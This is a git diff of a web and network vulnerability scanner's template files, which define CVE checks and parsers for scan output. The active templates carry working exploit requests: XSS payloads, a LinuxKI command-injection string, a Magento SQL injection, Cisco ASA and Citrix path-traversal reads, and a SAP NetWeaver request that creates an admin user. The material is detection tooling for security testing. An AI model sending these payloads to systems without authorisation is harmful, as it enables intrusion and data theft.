diff --git a/templates/active/CVE-2020-2140_-_Jenkin_AuditTrailPlugin_XSS.sh b/templates/active/CVE-2020-2140_-_Jenkin_AuditTrailPlugin_XSS.sh
new file mode 100644
index 0000000..f8c3f2b
--- /dev/null
+++ b/templates/active/CVE-2020-2140_-_Jenkin_AuditTrailPlugin_XSS.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-2140 - Jenkin AuditTrailPlugin XSS'
+URI="/descriptorByName/AuditTrailPlugin/regexCheck?value=*j<INJECTX>"
+METHOD='GET'
+MATCH="<INJECTX>"
+SEVERITY='P3 - MEDIUM'
+CURL_OPTS="--user-agent '' -s --insecure -L "
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-24223_-_Mara_CMS_7.5_Reflective_XSS.sh b/templates/active/CVE-2020-24223_-_Mara_CMS_7.5_Reflective_XSS.sh
new file mode 100644
index 0000000..8a04261
--- /dev/null
+++ b/templates/active/CVE-2020-24223_-_Mara_CMS_7.5_Reflective_XSS.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-24223 - Mara CMS 7.5 Reflective XSS'
+URI='/contact.php?theme=<INJECTX>'
+METHOD='GET'
+MATCH='<INJECTX>'
+SEVERITY='P3 - MEDIUM'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-3452_-_Cisco_ASA-FTD_Arbitrary_File_Reading_Vulnerability.sh b/templates/active/CVE-2020-3452_-_Cisco_ASA-FTD_Arbitrary_File_Reading_Vulnerability.sh
index c466024..0c8e7ea 100644
--- a/templates/active/CVE-2020-3452_-_Cisco_ASA-FTD_Arbitrary_File_Reading_Vulnerability.sh
+++ b/templates/active/CVE-2020-3452_-_Cisco_ASA-FTD_Arbitrary_File_Reading_Vulnerability.sh
@@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-3452 - Cisco ASA/FTD Arbitrary File Reading Vulnerability'
 URI='/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../'
 METHOD='GET'
-MATCH="INTERNAL_PASSWORD_ENABLED"
+MATCH="INTERNAL_PASSWORD_ENABLED|CONF_VIRTUAL_KEYBOARD"
 SEVERITY='P1 - CRITICAL'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''
diff --git a/templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh b/templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh
index 72515b6..cde1d37 100644
--- a/templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh
+++ b/templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh
@@ -1,8 +1,8 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-5902 - F5 BIG-IP XSS'
-URI='/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=INJECTX'
+URI='/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=<INJECTX>'
 METHOD='GET'
-MATCH='INJECTX'
+MATCH='<INJECTX>'
 SEVERITY='P1 - CRITICAL'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''
diff --git a/templates/active/CVE-2020-6287_-_Create_an_Administrative_User_in_SAP_NetWeaver_AS_JAVA.sh b/templates/active/CVE-2020-6287_-_Create_an_Administrative_User_in_SAP_NetWeaver_AS_JAVA.sh
new file mode 100644
index 0000000..11f80ad
--- /dev/null
+++ b/templates/active/CVE-2020-6287_-_Create_an_Administrative_User_in_SAP_NetWeaver_AS_JAVA.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-6287 - Create an Administrative User in SAP NetWeaver AS JAVA'
+URI="/CTCWebService/CTCWebServiceBean/ConfigServlet"
+METHOD='POST'
+MATCH="CTCWebServiceSi"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -L -s --insecure -H 'Content-Type: text/xml; charset=UTF-8' --data '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>'"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-7048_-_WP_Database_Reset_3.15_Unauthenticated_Database_Reset.sh b/templates/active/CVE-2020-7048_-_WP_Database_Reset_3.15_Unauthenticated_Database_Reset.sh
index c7af71d..f8d3673 100644
--- a/templates/active/CVE-2020-7048_-_WP_Database_Reset_3.15_Unauthenticated_Database_Reset.sh
+++ b/templates/active/CVE-2020-7048_-_WP_Database_Reset_3.15_Unauthenticated_Database_Reset.sh
@@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset'
 URI='/wp-admin/admin-post.php?db-reset-tables%5B%5D=comments&db-reset-code=11111&db-reset-code-confirm=11111'
 METHOD='GET'
-MATCH='\/wp-admin\/'
+MATCH='X-Redirect-By\:\ WordPress'
 SEVERITY='P2 - HIGH'
 CURL_OPTS="--user-agent '' -s -L --insecure -I"
 SECONDARY_COMMANDS=''
diff --git a/templates/active/CVE-2020-7209_-_LinuxKI_Toolset_6.01_Remote_Command_Execution.sh b/templates/active/CVE-2020-7209_-_LinuxKI_Toolset_6.01_Remote_Command_Execution.sh
new file mode 100644
index 0000000..99f72ec
--- /dev/null
+++ b/templates/active/CVE-2020-7209_-_LinuxKI_Toolset_6.01_Remote_Command_Execution.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-7209 - LinuxKI Toolset 6.01 Remote Command Execution'
+URI="/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d"
+METHOD='GET'
+MATCH='nonexistent'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.disabled b/templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.sh
similarity index 100%
rename from templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.disabled
rename to templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.sh
diff --git a/templates/active/CVE-2020-8191_-_Citrix_ADC_NetScaler_Gateway_Reflected_XSS.sh b/templates/active/CVE-2020-8191_-_Citrix_ADC_NetScaler_Gateway_Reflected_XSS.sh
index 5fb06ef..611c4d6 100644
--- a/templates/active/CVE-2020-8191_-_Citrix_ADC_NetScaler_Gateway_Reflected_XSS.sh
+++ b/templates/active/CVE-2020-8191_-_Citrix_ADC_NetScaler_Gateway_Reflected_XSS.sh
@@ -2,8 +2,8 @@ AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-8191 - Citrix ADC & NetScaler Gateway Reflected XSS'
 URI="/menu/stapp"
 METHOD='POST'
-MATCH="<\/title><script>alert\(31337\)</script>"
+MATCH="<INJECTX>"
 SEVERITY='P1 - HIGH'
-CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' -H 'X-Requested-With: 'X-NITRO-USER: xpyZxwy6' --data 'sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot'"
+CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' -H 'X-Requested-With: 'X-NITRO-USER: xpyZxwy6' --data 'sid=254&pe=1,2,3,4,5&appname=%0a</title><INJECTX>&au=1&username=nsroot'"
 SECONDARY_COMMANDS=''
 GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-8512_-_IceWarp_WebMail_XSS.sh b/templates/active/CVE-2020-8512_-_IceWarp_WebMail_XSS.sh
new file mode 100644
index 0000000..b3e2666
--- /dev/null
+++ b/templates/active/CVE-2020-8512_-_IceWarp_WebMail_XSS.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-8512 - IceWarp WebMail XSS'
+URI="/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22"
+METHOD='GET'
+MATCH="<svg\/onload\=alert\(document\.domain\)>"
+SEVERITY='P2 - HIGH'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/CVE-2020-8982_-_Citrix_ShareFile_StorageZones_Unauthenticated_Arbitrary_File_Read.sh b/templates/active/CVE-2020-8982_-_Citrix_ShareFile_StorageZones_Unauthenticated_Arbitrary_File_Read.sh
index 33c0df8..39ff5c2 100644
--- a/templates/active/CVE-2020-8982_-_Citrix_ShareFile_StorageZones_Unauthenticated_Arbitrary_File_Read.sh
+++ b/templates/active/CVE-2020-8982_-_Citrix_ShareFile_StorageZones_Unauthenticated_Arbitrary_File_Read.sh
@@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-8982 - Citrix ShareFile StorageZones Unauthenticated Arbitrary File Read'
 URI="/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"
 METHOD='GET'
-MATCH="bit\ app\ support|fonts|extensions"
+MATCH="bit\ app\ support"
 SEVERITY='P2 - HIGH'
 CURL_OPTS="--user-agent '' -s --insecure "
 SECONDARY_COMMANDS=''
diff --git a/templates/active/Magento_2.3.0_SQL_Injection.sh b/templates/active/Magento_2.3.0_SQL_Injection.sh
new file mode 100644
index 0000000..a284752
--- /dev/null
+++ b/templates/active/Magento_2.3.0_SQL_Injection.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Magento 2.3.0 SQL Injection'
+URI="/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20-"
+METHOD='GET'
+MATCH="\[\]"
+SEVERITY='P1 - Critical'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/Robots.txt_Detected.sh b/templates/active/Robots.txt_Detected.sh
new file mode 100644
index 0000000..29a7760
--- /dev/null
+++ b/templates/active/Robots.txt_Detected.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Robots.txt Detected'
+URI='/robots.txt'
+METHOD='GET'
+MATCH='Disallow\:|Allow\:|Sitemap\:'
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/active/Sitemap.xml_Detected.sh b/templates/active/Sitemap.xml_Detected.sh
new file mode 100644
index 0000000..2136cbc
--- /dev/null
+++ b/templates/active/Sitemap.xml_Detected.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Sitemap.xml Detected'
+URI='/sitemap.xml'
+METHOD='GET'
+MATCH='<?xml\ '
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
\ No newline at end of file
diff --git a/templates/passive/Clear-text_Communications_HTTP.disabled b/templates/passive/Clear-text_Communications_HTTP.disabled
deleted file mode 100644
index 72bee3f..0000000
--- a/templates/passive/Clear-text_Communications_HTTP.disabled
+++ /dev/null
@@ -1,8 +0,0 @@
-AUTHOR='@xer0dayz'
-VULN_NAME='Clear-Text Protocol - HTTP'
-FILENAME="$LOOT_DIR/web/headers-http-$TARGET.txt"
-MATCH='200 OK'
-SEVERITY='P2 - HIGH'
-GREP_OPTIONS='-i'
-SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
diff --git a/templates/passive/Component_With_Known_Vulnerabilities_1.sh b/templates/passive/Component_With_Known_Vulnerabilities_1.sh
deleted file mode 100644
index 3a732d0..0000000
--- a/templates/passive/Component_With_Known_Vulnerabilities_1.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-AUTHOR='@xer0dayz'
-VULN_NAME='Component With Known Vulnerabilities'
-FILENAME="$LOOT_DIR/output/nmap-$TARGET.txt"
-MATCH="CVE\-"
-SEVERITY='P3 - MEDIUM'
-GREP_OPTIONS='-i'
-SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
diff --git a/templates/passive/Component_With_Known_Vulnerabilities_2.sh b/templates/passive/Component_With_Known_Vulnerabilities_2.sh
deleted file mode 100644
index 3c962ba..0000000
--- a/templates/passive/Component_With_Known_Vulnerabilities_2.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-AUTHOR='@xer0dayz'
-VULN_NAME='Component With Known Vulnerabilities 2'
-FILENAME="$LOOT_DIR/output/nmap-$TARGET-*.txt"
-MATCH="CVE\-"
-SEVERITY='P3 - MEDIUM'
-GREP_OPTIONS='-i'
-SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
diff --git a/templates/passive/Default_Credentials_1.sh b/templates/passive/Default_Credentials_1.sh
deleted file mode 100644
index 9ae8d4d..0000000
--- a/templates/passive/Default_Credentials_1.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-AUTHOR='@xer0dayz'
-VULN_NAME='Default Credentials 1'
-FILENAME="$LOOT_DIR/credentials/brutex-$TARGET.txt"
-MATCH="password\:\ "
-SEVERITY='P1 - CRITICAL'
-GREP_OPTIONS='-i'
-SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
diff --git a/templates/passive/Default_Credentials_2.sh b/templates/passive/Default_Credentials_2.sh
deleted file mode 100644
index 04a19f6..0000000
--- a/templates/passive/Default_Credentials_2.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-AUTHOR='@xer0dayz'
-VULN_NAME='Default Credentials 2'
-FILENAME="$LOOT_DIR/credentials/brutex-$TARGET-*.txt"
-MATCH="password\:\ "
-SEVERITY='P1 - CRITICAL'
-GREP_OPTIONS='-i'
-SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
diff --git a/templates/passive/Interesting_Ports_Found.sh b/templates/passive/Interesting_Ports_Found.sh
deleted file mode 100644
index 8fcb919..0000000
--- a/templates/passive/Interesting_Ports_Found.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-AUTHOR='@xer0dayz'
-VULN_NAME='Interesting Ports Found'
-FILENAME="$LOOT_DIR/nmap/ports-$TARGET.txt"
-MATCH='80|443'
-SEVERITY='P5 - INFO'
-GREP_OPTIONS='-iv'
-SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
diff --git a/templates/passive/network/CVE-2018-15473_-_OpenSSH_Username_Enumeration.sh b/templates/passive/network/CVE-2018-15473_-_OpenSSH_Username_Enumeration.sh
new file mode 100644
index 0000000..4f12128
--- /dev/null
+++ b/templates/passive/network/CVE-2018-15473_-_OpenSSH_Username_Enumeration.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2018-15473 - OpenSSH Username Enumeration'
+FILENAME="$LOOT_DIR/output/msf-$TARGET-*-ssh_enumusers.txt"
+MATCH="\[+\]"
+SEVERITY='P3 - MEDIUM'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
+TYPE="network"
\ No newline at end of file
diff --git a/templates/passive/network/Default_Credentials_BruteX.sh b/templates/passive/network/Default_Credentials_BruteX.sh
new file mode 100644
index 0000000..9c1b1ee
--- /dev/null
+++ b/templates/passive/network/Default_Credentials_BruteX.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Default Credentials - BruteX'
+FILENAME="$LOOT_DIR/credentials/brutex-$TARGET.txt $LOOT_DIR/credentials/brutex-$TARGET-*.txt"
+MATCH="password\:\ "
+SEVERITY='P1 - CRITICAL'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
+TYPE="network"
\ No newline at end of file
diff --git a/templates/passive/network/Default_Credentials_NMap.sh b/templates/passive/network/Default_Credentials_NMap.sh
new file mode 100644
index 0000000..b8b75ce
--- /dev/null
+++ b/templates/passive/network/Default_Credentials_NMap.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Default Credentials - NMap'
+FILENAME="$LOOT_DIR/output/nmap-$TARGET.txt $LOOT_DIR/output/nmap-$TARGET-*.txt"
+MATCH="Valid\ credentials"
+SEVERITY='P1 - CRITICAL'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
+TYPE="network"
\ No newline at end of file
diff --git a/templates/passive/Interesting_Domain_Found.sh b/templates/passive/network/Interesting_Domain_Found.sh
similarity index 85%
rename from templates/passive/Interesting_Domain_Found.sh
rename to templates/passive/network/Interesting_Domain_Found.sh
index 3c8ae7e..546a22f 100644
--- a/templates/passive/Interesting_Domain_Found.sh
+++ b/templates/passive/network/Interesting_Domain_Found.sh
@@ -5,4 +5,5 @@ MATCH='admin|dev|portal|stage|prod|tst|test'
 SEVERITY='P5 - INFO'
 GREP_OPTIONS='-i'
 SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
+SECONDARY_COMMANDS=''
+TYPE='network'
\ No newline at end of file
diff --git a/templates/passive/Lack_of_SPF_DNS_Record.sh b/templates/passive/network/Lack_of_SPF_DNS_Record.sh
similarity index 84%
rename from templates/passive/Lack_of_SPF_DNS_Record.sh
rename to templates/passive/network/Lack_of_SPF_DNS_Record.sh
index f2f0e67..64d089d 100644
--- a/templates/passive/Lack_of_SPF_DNS_Record.sh
+++ b/templates/passive/network/Lack_of_SPF_DNS_Record.sh
@@ -5,4 +5,5 @@ MATCH="\[\+\]\ Spoofing\ possible"
 SEVERITY='P4 - LOW'
 GREP_OPTIONS='-i'
 SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
+SECONDARY_COMMANDS=''
+TYPE='network'
\ No newline at end of file
diff --git a/templates/passive/Possible_Takeover_Detected.sh b/templates/passive/network/Possible_Takeover_Detected.sh
similarity index 93%
rename from templates/passive/Possible_Takeover_Detected.sh
rename to templates/passive/network/Possible_Takeover_Detected.sh
index b0eca16..b363968 100644
--- a/templates/passive/Possible_Takeover_Detected.sh
+++ b/templates/passive/network/Possible_Takeover_Detected.sh
@@ -5,4 +5,5 @@ MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|fe
 SEVERITY='P5 - INFO'
 GREP_OPTIONS='-i'
 SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
+SECONDARY_COMMANDS=''
+TYPE='network'
\ No newline at end of file
diff --git a/templates/passive/network/SMB_Info_Disclosure.sh b/templates/passive/network/SMB_Info_Disclosure.sh
new file mode 100644
index 0000000..6bbee14
--- /dev/null
+++ b/templates/passive/network/SMB_Info_Disclosure.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='SMB Info Disclosure'
+FILENAME="$LOOT_DIR/output/msf-$TARGET-port139.txt $LOOT_DIR/output/msf-$TARGET-port445.txt"
+MATCH="\[\+\]"
+SEVERITY='P4 - LOW'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
+TYPE="network"
diff --git a/templates/passive/SMBv1_Enabled.sh b/templates/passive/network/SMBv1_Enabled.sh
similarity index 82%
rename from templates/passive/SMBv1_Enabled.sh
rename to templates/passive/network/SMBv1_Enabled.sh
index 6a9768f..52d5dac 100644
--- a/templates/passive/SMBv1_Enabled.sh
+++ b/templates/passive/network/SMBv1_Enabled.sh
@@ -5,4 +5,5 @@ MATCH="SMBv1"
 SEVERITY='P3 - MEDIUM'
 GREP_OPTIONS='-i'
 SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
+SECONDARY_COMMANDS=''
+TYPE="network"
\ No newline at end of file
diff --git a/templates/passive/network/SSH_Version_Disclosure.sh b/templates/passive/network/SSH_Version_Disclosure.sh
new file mode 100644
index 0000000..1a6caff
--- /dev/null
+++ b/templates/passive/network/SSH_Version_Disclosure.sh
@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='SSH Version Disclosure'
+FILENAME="$LOOT_DIR/output/msf-$TARGET-*-ssh_version.txt"
+MATCH="\[\+\]"
+SEVERITY='P4 - LOW'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
+TYPE="network"
diff --git a/templates/passive/Subjack_Takeover_Detected.sh b/templates/passive/network/Subjack_Takeover_Detected.sh
similarity index 93%
rename from templates/passive/Subjack_Takeover_Detected.sh
rename to templates/passive/network/Subjack_Takeover_Detected.sh
index d718939..6da7d53 100644
--- a/templates/passive/Subjack_Takeover_Detected.sh
+++ b/templates/passive/network/Subjack_Takeover_Detected.sh
@@ -5,4 +5,5 @@ MATCH='anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastl
 SEVERITY='P2 - HIGH'
 GREP_OPTIONS='-i'
 SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
+SECONDARY_COMMANDS=''
+TYPE="network"
\ No newline at end of file
diff --git a/templates/passive/Subover_Takeover_Detected.sh b/templates/passive/network/Subover_Takeover_Detected.sh
similarity index 93%
rename from templates/passive/Subover_Takeover_Detected.sh
rename to templates/passive/network/Subover_Takeover_Detected.sh
index 5c2de4b..028a0b3 100644
--- a/templates/passive/Subover_Takeover_Detected.sh
+++ b/templates/passive/network/Subover_Takeover_Detected.sh
@@ -5,4 +5,5 @@ MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|fe
 SEVERITY='P2 - HIGH'
 GREP_OPTIONS='-i'
 SEARCH='positive'
-SECONDARY_COMMANDS=''
\ No newline at end of file
+SECONDARY_COMMANDS=''
+TYPE="network"
\ No newline at end of file
diff --git a/templates/passive/network/recursive/Component_With_Known_Vulnerabilities_-_NMap.sh b/templates/passive/network/recursive/Component_With_Known_Vulnerabilities_-_NMap.sh
new file mode 100644
index 0000000..a0c156c
--- /dev/null
+++ b/templates/passive/network/recursive/Component_With_Known_Vulnerabilities_-_NMap.sh
@@ -0,0 +1,12 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Component With Known Vulnerabilities - NMap'
+FILENAME="$LOOT_DIR/output/nmap-$TARGET.txt $LOOT_DIR/output/nmap-$TARGET-*.txt"
+MATCH="CVE\-"
+GREP_OPTIONS='-ih'
+TYPE="network"
+
+rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
+
+egrep "$GREP_OPTIONS" "$MATCH" $FILENAME | awk -v AWK_TARGET="$TARGET" '$5=AWK_TARGET{print "P3 - MEDIUM, Components with Known Vulnerabilities - NMap, " $5 ", " $2 " " $3 " " $4}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+
+cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
\ No newline at end of file
diff --git a/templates/passive/network/recursive/Interesting_Ports_Found.sh b/templates/passive/network/recursive/Interesting_Ports_Found.sh
new file mode 100644
index 0000000..d674234
--- /dev/null
+++ b/templates/passive/network/recursive/Interesting_Ports_Found.sh
@@ -0,0 +1,13 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Interesting Ports Found'
+FILENAME="$LOOT_DIR/nmap/ports-$TARGET.txt"
+MATCH="21\ |22\ |23\ |137\ |139\ |445\ |8080\ |8443\ |3306\ |5900\ |53\ |8081\ "
+SEVERITY='P5 - INFO'
+GREP_OPTIONS='-i'
+SECONDARY_COMMANDS=''
+OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+TYPE='network'
+
+rm -f /tmp/match.out 2> /dev/null
+cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "$SEVERITY, $VULN_NAME, $TARGET, $(cat /tmp/match.out | tr '\n' ' ' | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $TARGET - EVIDENCE: $(cat /tmp/match.out | tr '\n' ' ') (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $TARGET - EVIDENCE: $(cat /tmp/match.out | tr '\n' ' ' | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null 
+rm -f /tmp/match.out 2> /dev/null
diff --git a/templates/passive/network/recursive/Nessus_Import.sh b/templates/passive/network/recursive/Nessus_Import.sh
new file mode 100644
index 0000000..1221ce3
--- /dev/null
+++ b/templates/passive/network/recursive/Nessus_Import.sh
@@ -0,0 +1,14 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Nessus Import'
+FILENAME="$LOOT_DIR/output/nessus-report_$TARGET_*.csv"
+OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+TYPE="network"
+
+rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
+grep Critical $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F '   ' '{print "P1 - CRITICAL, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+grep High $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F '   ' '{print "P2 - HIGH, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+grep Medium $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F '   ' '{print "P3 - MEDIUM, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+grep Low $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F '   ' '{print "P4 - LOW, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+grep None $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F '   ' '{print "P5 - INFO, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' | grep -v "None" >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
+
+cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
\ No newline at end of file
diff --git a/templates/passive/Autocomplete_Enabled.sh b/templates/passive/web/Autocomplete_Enabled.sh
similarity index 100%
rename from templates/passive/Autocomplete_Enabled.sh
rename to templates/passive/web/Autocomplete_Enabled.sh
diff --git a/templates/passive/CORS_Policy_-_Allow-Credentials_Enabled.sh b/templates/passive/web/CORS_Policy_-_Allow-Credentials_Enabled.sh
similarity index 100%
rename from templates/passive/CORS_Policy_-_Allow-Credentials_Enabled.sh
rename to templates/passive/web/CORS_Policy_-_Allow-Credentials_Enabled.sh
diff --git a/templates/passive/CORS_Policy_-_Allow-Origin_Wildcard.sh b/templates/passive/web/CORS_Policy_-_Allow-Origin_Wildcard.sh
similarity index 100%
rename from templates/passive/CORS_Policy_-_Allow-Origin_Wildcard.sh
rename to templates/passive/web/CORS_Policy_-_Allow-Origin_Wildcard.sh
diff --git a/templates/passive/web/CSP_Not_Enforced.sh b/templates/passive/web/CSP_Not_Enforced.sh
new file mode 100644
index 0000000..9882843
--- /dev/null
+++ b/templates/passive/web/CSP_Not_Enforced.sh
@@ -0,0 +1,21 @@
+if [ "$SSL" = "true" ]; then
+	AUTHOR='@xer0dayz'
+	VULN_NAME='CSP Not Enforced'
+	FILENAME="$LOOT_DIR/web/headers-https-$TARGET.txt"
+	MATCH="content-security-policy"
+	SEVERITY='P5 - INFO'
+	GREP_OPTIONS='-i'
+	SEARCH='negative'
+	SECONDARY_COMMANDS=''
